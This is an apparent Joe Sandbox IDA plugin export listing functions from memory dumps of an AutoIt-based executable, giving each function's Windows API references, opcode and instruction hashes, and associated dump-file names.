Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 0e16cb32c2ba4d5db6af390b3734e01afec76ecc338e240fbe2185eb80373479
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: BAC1B031D5CB4685E640FF94A9808B8B7A8BF94360F95023ADD4D82761EF7CB194CBE0

Function 00007FF7C0E572C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF7C0E5739E
Shell_NotifyIconW.SHELL32 ref: 00007FF7C0E573AC
LoadStringW.USER32 ref: 00007FF7C0E9CE12

Strings

Line: , xrefs: 00007FF7C0E9CE52

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction ID: 0b89610ef2c91f842f37cb32d5a027332773456eac83754d5a15d66ce39c18f3
Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction Fuzzy Hash: 0E416661A4CA4296E720FF21E4402F9A361FB85368FD45431DA8C8679ADF7CF694C7E0

Function 00007FF7C0E53F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF7C0E9BAA2

Part of subcall function 00007FF7C0E556D4: GetFullPathNameW.KERNEL32(?,00007FF7C0E556C1,?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E556FF

Part of subcall function 00007FF7C0E53EB4: GetLongPathNameW.KERNELBASE ref: 00007FF7C0E53ED8

Strings

AutoIt script files (*.au3, *.a3x), xrefs: 00007FF7C0E9BA74
Run Script:, xrefs: 00007FF7C0E9BA4D
au3, xrefs: 00007FF7C0E9BA80

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: 2d90bc1f10d3479e71858dbd03cb67b111140e7a106513a034277a02530f77b4
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: 4A316F72608B8185E710EF21E8401A9B7A4FB49B94F944135DE8C87B56DF7CE545C7A0

Function 00007FF7C0E74610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E572C8: wcscpy.LIBCMT ref: 00007FF7C0E5739E
Part of subcall function 00007FF7C0E572C8: Shell_NotifyIconW.SHELL32 ref: 00007FF7C0E573AC

KillTimer.USER32 ref: 00007FF7C0E746A8
SetTimer.USER32 ref: 00007FF7C0E746BD
Shell_NotifyIconW.SHELL32 ref: 00007FF7C0EBAAAD

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction ID: 173f92e315abb297fec046f1aff499d2cb92733c19227df1eb6384c66733da57
Opcode Fuzzy Hash: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction Fuzzy Hash: 3E31C462A4CB9287EB61AF119044279BB98E745F98F9C4032DE8C47745CF2CE644C7B0

Function 00007FF7C0E56F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF7C0E56F52,?,?,?,?,?,?,00007FF7C0E5782C), ref: 00007FF7C0E56FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF7C0E56F52,?,?,?,?,?,?,00007FF7C0E5782C), ref: 00007FF7C0E56FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF7C0E56F52,?,?,?,?,?,?,00007FF7C0E5782C), ref: 00007FF7C0E56FFA

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: d97931a4b05faa292b3b780303681f5d0b168880c81017e5e0f6d5f496406c16
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 37217932A18B4187D710AF26F54096EB3A4FB48BA4B841531EB8D83B54DF39F5548B90

Function 00007FF7C0E79118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7C0E790FC), ref: 00007FF7C0E79140
TerminateProcess.KERNEL32(?,?,?,00007FF7C0E790FC), ref: 00007FF7C0E7914B
ExitProcess.KERNEL32 ref: 00007FF7C0E7915A

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: 24073eae3cb2acd9ec9ea46bd300fa1373cff1ebb2fa09de2b769a0abac4d1de
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: 4CE01220B4974682EB05BF645C4D27653526F44B61FC25038C80E82392CF7DF45883A0

Function 00007FF7C0E666C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF7C0E66C05

Strings

CALL, xrefs: 00007FF7C0E66BCE

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: d160297c5552d2b324480a32c3c61f515c788882e65b381496383ee351572f70
Instruction ID: 78b9e2fd32f1fb6a4136a9a36da25b550c978e03578119f89642b6a7d4f80a94
Opcode Fuzzy Hash: d160297c5552d2b324480a32c3c61f515c788882e65b381496383ee351572f70
Instruction Fuzzy Hash: DC228876B58A46CAEB10FF64E0402ACA7A5FB44BA8F804536DE4D97795CF38F445C3A0

Function 00007FF7C0E56838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF7C0E568A2

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction ID: 876253392bd8db8f49b104d52b4c8c5392cea00cc4014e0ee6719e4e646f3414
Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction Fuzzy Hash: 80419D32A8CA4282E764BF20E405379B7A4EB45BB8F844634DA6D877C9DF7DF4448790

Function 00007FF7C0E56460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0E56D64: LoadLibraryA.KERNEL32(?,?,?,00007FF7C0E56490), ref: 00007FF7C0E56D7B
Part of subcall function 00007FF7C0E56D64: GetProcAddress.KERNEL32(?,?,?,00007FF7C0E56490), ref: 00007FF7C0E56D93

FreeLibrary.KERNEL32 ref: 00007FF7C0E564BA
LoadLibraryExW.KERNELBASE ref: 00007FF7C0E564E4

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction ID: 1a78aacaf7b4e91586f8b149c57833d43d6a579d531ad7f76e10c34d4154fd33
Opcode Fuzzy Hash: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction Fuzzy Hash: 9E413B22B54A5286EB10FF25D4513FCA3A4EB44BACF844531EA4D87799DF3CE844C7A0

Function 00007FF7C0E56258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF7C0E56350

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction ID: 1eec2158999694948bfa21cb0ce465f751d79808ac536caaf5237f711ca68350
Opcode Fuzzy Hash: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction Fuzzy Hash: B6415C32909B4586E751EF11E4443A9B7A8FB48BA8F840535DE4C87759CF7CE590C7A0

Function 00007FF7C0E53730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF7C0E53756

Part of subcall function 00007FF7C0E79334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E79348

Part of subcall function 00007FF7C0E536E8: SystemParametersInfoW.USER32 ref: 00007FF7C0E53705
Part of subcall function 00007FF7C0E536E8: SystemParametersInfoW.USER32 ref: 00007FF7C0E53725

Part of subcall function 00007FF7C0E537B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E537F2
Part of subcall function 00007FF7C0E537B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E53807
Part of subcall function 00007FF7C0E537B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E5388D
Part of subcall function 00007FF7C0E537B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E53924

SystemParametersInfoW.USER32 ref: 00007FF7C0E53797

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: e3fa117fec415b1676ebd072388911a1797d12ee35e2a93b0b654cc85ed83d58
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: 0A0124B0E4C6469AF300FFA1A814976A6A1AF08720FC40036D94CC63A2CF7CB4C487A0

Function 00007FF7C0E8B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF7C0E8B3D6
GetLastError.KERNEL32 ref: 00007FF7C0E8B3E8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: 3011eda5499fd31c0428dfd30197d32c088861779af7c20992d73d502c989b39
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: 6BE08611E8D58382FF057FB69808075A6926F44B74FC44134C80DC6351DF6CF4858BA0

Function 00007FF7C0E904B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF7C0E9051B
GetLastError.KERNEL32 ref: 00007FF7C0E90525

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 2ff7572f1a5b0ab4870ade05ee070782eeb0707f293361618b09eceb2eee57a8
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: A511B951B4C38245FEA47F64A5942BD92C25F94774FC40235DA2EC63D2DF6DF88483A1

Function 00007FF7C0E61475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF7C0E61990

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
Instruction ID: 3db2d3cecf466f877d61c4ea65f154a9a3d44324b28053638d158e9e1577952a
Opcode Fuzzy Hash: e869654350b1d585ac28b73911299a849cdf7de5e5dd263a2f3101a0d6b2730c
Instruction Fuzzy Hash: 6A32D226A4CA8685EB65FF15E4402B9E761EB85FA4F884132DE0D87791CF3CF451C7A0

Function 00007FF7C0EB20D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF7C0EB20E2

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
Instruction ID: 58d5d1f9b051bcfb75cb899d9591f73030bc202d98abbf6967a4c25667fcf37a
Opcode Fuzzy Hash: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
Instruction Fuzzy Hash: 9C417A26B49A4586FB11FF65D0403ACA3A4EB84BA8F844535CE0DAB785CF7CF485C3A0

Function 00007FF7C0E78FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7C0E78FD4

Part of subcall function 00007FF7C0E79164: GetModuleHandleExW.KERNEL32 ref: 00007FF7C0E79184
Part of subcall function 00007FF7C0E79164: GetProcAddress.KERNEL32 ref: 00007FF7C0E7919A
Part of subcall function 00007FF7C0E79164: FreeLibrary.KERNEL32 ref: 00007FF7C0E791BF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 4457c046f12f5d1f71b42e00580928bd88ece1dd83d30243f7f478e878a21abd
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 1D41BF31A5C66282FA64BF19D554178A251AF90B74F844035DA0EC77D1DF3DF88583E0

Function 00007FF7C0E848E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E84835

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: e136c9f8f79924bd439ae03f22fe109a8d0174d668846babd83f03434636ccda
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 5A219562A4C6C281EA55BF19940017ED3A4FF45BA4F944231FA4CD7B96DF7CF84187A0

Function 00007FF7C0E96D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E96D34

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
